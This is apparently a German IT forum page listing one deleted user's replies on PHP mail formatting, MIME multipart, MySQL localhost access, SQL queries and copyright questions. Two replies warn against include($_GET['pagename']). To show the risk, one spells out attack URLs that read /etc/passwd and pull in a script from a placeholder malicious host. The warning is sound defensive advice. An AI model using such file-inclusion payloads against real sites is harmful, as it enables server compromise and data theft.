Zum Inhalt springen

geloescht_JesterDay

Mitglieder
  • Gesamte Inhalte

    3822
  • Benutzer seit

  • Letzter Besuch

Alle Inhalte von geloescht_JesterDay

  1. Ich würde ja ein Menü ohne Javascript empfehlen. Hier http://www.howtocreate.co.uk/tutorials/testMenu.html z.B. findet man eins. Aber mit Sicherheit findet man noch mehr Seiten, die von CSS-Menüs handeln. Nur mal als Anmerkung EDIT: Hier findet man auch noch was dazu.
  2. Kommt auf die Seite selber an, wo die die Infos herbekommst. Wenn dort was steht, dass die Inhalte urherberrechtlich geschützt sind o.ä. und dass eine Nutzung der Inhalte nicht gestattet ist oder die Erlaubnis des Inhabers benötigt, dann solltest du das besser beachten. Ansonsten würd ich auch auf Nummer sicher gehen und das mit dem Anbieter der Termine bzw der Seite absprechen. Es sind zwar öffentlche Termine, aber u.U. kann man da den Datenbankenschutz im UrhG für sich beanspruchen. Generell ist es nämlich nicht so, dass man Sachen nur weil man sie im Internet veröffentlicht auch für jeden zur Nutzung o.ä. freigibt. EDIT: Auch wenn die Nutzung der Termine ansich vielleicht ok wäre, könnte es dennoch Probleme geben, wegen der Art wie du sie bekommst. Du "klaust" die ja von einer anderen Seite. Allein dagegen könnte der Inhaber der Seite ja schon was haben. Zurecht. Auch wenn die Nutzung der Termine deinerseits nicht zu beanstanden wäre.
  3. multipart bezieht sich darauf, dass der Inhalt aus mehreren Parts besteht. Ansich hat eine Mail einen Part, dessen Content-Type du im Header angibst. Mit Multipart sagst du, dass es mehrere Teile sind, von denen jeder wiederum einen eigenen Header mit Content-Type hat. Mehr zu Multipart findest du hier: http://www.freesoft.org/CIE/RFC/1521/15.htm und zu multipart/related dann noch http://www.faqs.org/rfcs/rfc2387.html
  4. Wenn dein HTML/CSS von allen Clients gleich interpretiert und umgesetzt wird Und keiner eine kleinere Auflösung hat oder eine andere Schriftgröße als du...
  5. Die Mail ist Text, und Text ist geduldig Auch HTML ist nur Text. Was dann angezeigt wird bestimmt derjenige, der das HTML interpretiert und ausgibt, also der Client, Mailclient in deinem Fall. In der Mail muss nur steht, dass der Teil den Inhaltstyp (Content-Type) text/HTML hat. Dann interpretiert der MailClient diesen Inhalt als HTML. Wenn du dort Bilder angeben willst, dann muss das mit der content id gemacht werden. Gleiches gilt wohl für externe css u.ä. In deinem Fall würd ich eher sagen, du hast ein MS Problem Sprich Frontpage macht Mist und kann den Mist natürlich auch "korrekt" anzeigen. Andere HTMLClients tun das aber anders. EDIT: Ich will damit sagen, der Mail ist es egal was du da drin stehen hast, weil die Mail nichts interpretiert oder sonst was tut. Mail ist nur Text Den teilst du richtig auf, gibst den Teilen den richtigen Typ und der rest wird vom Client gemacht.
  6. Wenn du einen Account mit php hast, sollte da auch der Server so eingerichtet sein (sprich die php.ini, wobei die für Mails eigentlich nur auf Windowssystemen wirklich wichtig ist), dass man Mails versenden kann mit php. Was geht denn bei deinem Webspace nicht mit der Mail?
  7. Auf den ersten Blick fehlt das Mailende: --e2d7a096e7e3f84c2501f300e21fcce7-- am Mailende eben
  8. Ich meinte den Mail Quelltext. Nicht den PHP-Quelltext, der die Mail erzeugt. Also anstelle von mail($emfaenger, $subject, $body, $header); [/php] ein [php] echo $header.$body; EDIT: Und dann nicht die HTML Ausgabe (weil HTML keine Zeilenumbrüche anzeigt)! BTW: sicher dass \r richtig ist? Unter Linux kenn ich \n und unter Windows \r\n. Hab zwar irgendwo geschrieben, dass es auch \r sein könnte, aber ein reiner CarriageReturn langt glaube ich nicht. Zumindest nicht bei Linux/Windows. Eine Mail ist eigentlich ganz einfach, wenn die Formatierung stimmt. Es geht also weniger darum, die Anweisungen zu PHP-Code einfach umzusetzen, als vielmehr darum zu verstehen wie eine Mail aussehen muss um korrekt interpretiert zu werden. Und das steht ja in den ganzen Texten auch drin.
  9. Webserver-Gundverständnis Teil1: PHP-Skripte laufen auf dem Webserver. Nur auf dem Weberver und nie in einem Browser oder sonst irgendwo. Wenn ein PHP-Skript vom Server auf dem auch die MySQL-Datenbank läuft auf den MySQL-Server zugreifen will, dann greift das PHP-Skript vom localhost zu. Nicht vom Browser, nicht von irgendwo im Netz. Was irgendwo in einem PHP-Skript steht ist vollkommen irrelevant. PHP läuft auf dem Server und tut und läßt alles da. Wenn du den Zugriff für irgendwelche MySQL-Benutzer von einem anderen Rechner als localhost erlaubst, dann bezieht sich das auf die Nutzung von irgendwelchen Tools, die auf MySQL native zugreifen, aber eben nicht auf dem Rechner laufen, auf dem der MySQL-Server läuft. Beispielsweise mit dem MySQL QueryBrowser von daheim auf den Server bei einem Webhoster. MySQL-Grundkurs Teil 2. Mind. 99% der Webspaceanbieter, die MySQL anbieten, haben den Zugriff auf localhost beschränkt. Angeblich weil es eine sicherheitslücke ist, den Zugriff auch ausserhalb vom localhost zu erlauben. Aus diesem Grund wird bei fast 100% dieser Anbieter zusätzlich zu MySQL auch der phpMyAdmin angeboten um die Datenbank zu verwalten. Der Zugriff läuft aber nur über localhost, weil alles andere als Sicherheitlücke angesehen wird. Mind. 99% der MySQL Benutzer bei einem Webspaceanbieter haben aber keinerlei Probleme auf ihren Account zuzugreifen, auch wenn in der Tabelle 'user' nur localhost steht (oder in der my.cnf ein Skip Networking oder ein bind=localhost) Webspace-Grundkurs Teil1
  10. Das meinte ich ja nicht. Es geht um die Nutzung der Flagge ansich. Das Beispielt des Stadtwappens z.B. bezog sich nciht auf ein Bild vom Wappen oder eine Datei, sondern eben die Nutzung des Wappens ansich. Es gibt aber AFAIK von der deutschen Flagge eine offizielle und eine inoffiielle Version. Also eine Version (die mit dem Bundesadler in der Mitte) darf nur von offiziellen Stellen genutzt werden. Die andere (schwarz-rot-gold ohne irgendwas) von allen. Das kann aber für andere Länder anders sein (und 100% Garantie auf meine Aussage eben gebe ich auch nicht), und deswegen der Hinweis auf die Lizenz. Weil wenn dabei was zu beachten wäre, würde das ja da stehen (also auch auf Wikipedia). Das war dabei mein Gedankengang.
  11. Gib am besten mal deinen Mail-Quelltext an. Aber die angehängten Dateien selber kannst du kürzen, also die Hiroglyphen.
  12. Mach das doch mit mehreren Abfragen oder mit Subselects. Weil das SQL erfüllt wohl so wie es geschrieben wurde diesen Zweck nicht EDIT: Kann auch so gar nicht gehen, weil du im selben SQL die Anzahl der Ergebnisse willst und den Durchschnitt errechnen... Je nach Version und Antwortzeit etc. würd ich das als Subselect machen oder die Durchschnittszeit vorher berechnen.
  13. Was willst du mit diesem SQL überhaupt erreichen? Ich hab das mal nachgebaut. SELECT SEC_TO_TIME(UNIX_TIMESTAMP( CONCAT( Datum2, ' ', Zeit2 ) ) ) - ( UNIX_TIMESTAMP( CONCAT( Datum1, ' ', Zeit1 ) ) ) > SEC_TO_TIME( AVG( (UNIX_TIMESTAMP( CONCAT( Datum2, ' ', Zeit2 ) ) ) - ( UNIX_TIMESTAMP( CONCAT( Datum1, ' ', Zeit1 ) ) ) ) + STD( (UNIX_TIMESTAMP( CONCAT( Datum2, ' ', Zeit2 ) ) ) - ( UNIX_TIMESTAMP( CONCAT( Datum1, ' ', Zeit1 ) ) ) ) ) FROM `test` t ; liefert z.B. immer nur 1 Wert, weil AVG ja z.B. schon eine Zusammenfassung der Ergebnisse ist. Das hier SELECT IF( SEC_TO_TIME(UNIX_TIMESTAMP( CONCAT( Datum2, ' ', Zeit2 ) ) ) - ( UNIX_TIMESTAMP( CONCAT( Datum1, ' ', Zeit1 ) ) ) > SEC_TO_TIME( AVG( (UNIX_TIMESTAMP( CONCAT( Datum2, ' ', Zeit2 ) ) ) - ( UNIX_TIMESTAMP( CONCAT( Datum1, ' ', Zeit1 ) ) ) ) + STD( (UNIX_TIMESTAMP( CONCAT( Datum2, ' ', Zeit2 ) ) ) - ( UNIX_TIMESTAMP( CONCAT( Datum1, ' ', Zeit1 ) ) ) ) ), 1, NULL) S1 FROM `test` geht auch. liefert eben 1 oder NULL (wenn man das größer als kleiner schreibt). Aber liefert auch nur 1 Ergebnis. Was willst du dann noch zählen? Ach ja, der Count um das letzte geht nicht mehr. Der dürfte bei dir wohl das Problem sein. Frage ist nur, was tust du da überhaupt?
  14. Hallo? phpMyAdmin greift nur vom localhost zu, egal von wo man die Seite aufruft! Deswegen ist phpMyAdmin ja quasi Standard bei Webhostern, weil da root (oder ein anderer) nie Zugang von außen hat. EDIT: Gleiches gilt natürlich für jedes Skript auf dem Server.
  15. was los ist? meinSkript.php?pagename=/etc/passwd ... include($_GET["pagename"]); nur mal als Beispiel EDIT: Oder noch besser: meinSkript.php?pagename=http://einBoeserServer.tld/boesesSkript.php include($_GET["pagename"]);
  16. Das Skript versendet alles als Header... der Body (mit anhängen) muss aber als Mailbody versendet werden eigentlich. Das macht theoretisch keinen Unterschied, aber je nach Mailer der hintendranhängt vielleicht schon. Das war jetzt das erste was mir aufgefallen ist. EDIT: Was wohl wichtiger ist aber: Auf welchem System läuft das bei dir? Der Zeilenumbruch ist das wichtigste überhaupt bei der Mail. Wenn der nicht passt kannste das vergessen. Auf Windows muss AFAIK \r\n genutzt werden.
  17. Man kann aber als Staat gegen eine Nutzung sein. Du darfst z.B. auch nicht einfach das Wappen deiner Stadt auf deine HP machen. Da gab es mal Themen dazu hier und auch Gerichtsentscheide. Da ich dazu aber keine weiteren Nachforschungen angegeben haben, habe ich den Link angegeben. Da die Inhalte von Wikipedia unter einer freien Lizenz stehen, sollte er zumindest dir Flaggen dort verwenden können. Ja, du kannst dann aber Leuten verbieten, dein Bild zu nutzen irgendwo. Auch wenn es ein Bild von der Deutschlandflagge ist. Derjenige müsste sich dann selber ein Bild machen. Mit verfügen über die Flagge hat das ja nichts zu tun.
  18. Da solltest du aber viele Prüfungen reinmachen. Nein, nicht nur viele. Noch viel mehr. include($_GET["pagename"]); :eek
  19. Dann musst du ja bombardiert werden mit Anfragen... dann würd ich mich erstrecht mal an den Provider wenden (muss ja ein Referer dabeistehen, bzw. die IP ja sowieso). Das ist ja fast schon ein DoS dann. Diese "irgendwelche Webseiten" müssen ja irgendwo gehostet werden.
  20. Funktioniert dein Problembereich, wenn du ihn ohne den ganzen Rest ausführst? EDIT: Auch mal ohne Group und Count.
  21. Probier mal alle vorhandenen Spalten im Select auch in deine Gruop By Klausel aufzunehmen. Da liegt oft das Problem.
  22. Den Port 3306 musst du überhaupt nicht freigeben wenn du den phpmyadmin benutzt und der auf demselben Rechner läuft wie die MySQL Datenbank. phpmyadmin ist ein php-Skript und läuft auf dem Server. Von da greift es auf MySQL zu. Da sie beide auf einem Rechner sind erfolgt der Zugriff also vom localhost! Dabei ist es vollkommen egal ob du über eine dyndns-Adresse, die IP-Adresse, von einem Browser oder von deinem Handy den phpmyadmin aufrufst.
  23. MySQL kann ab Version 4.1.0 Subselects
  24. Für dein PHP ist es egal, von wo der Aufruf kommt und für MySQL kommt die PHP-Anfrage immer vom localhost. Ich schätze eher, dein Script hat andere Probleme/Fehler.

Fachinformatiker.de, 2024 by SE Internet Services

fidelogo_small.png

Schicke uns eine Nachricht!

Fachinformatiker.de ist die größte IT-Community
rund um Ausbildung, Job, Weiterbildung für IT-Fachkräfte.

Fachinformatiker.de App

Download on the App Store
Get it on Google Play

Kontakt

Hier werben?
Oder sende eine E-Mail an

Social media u. feeds

Jobboard für Fachinformatiker und IT-Fachkräfte

×
×
  • Neu erstellen...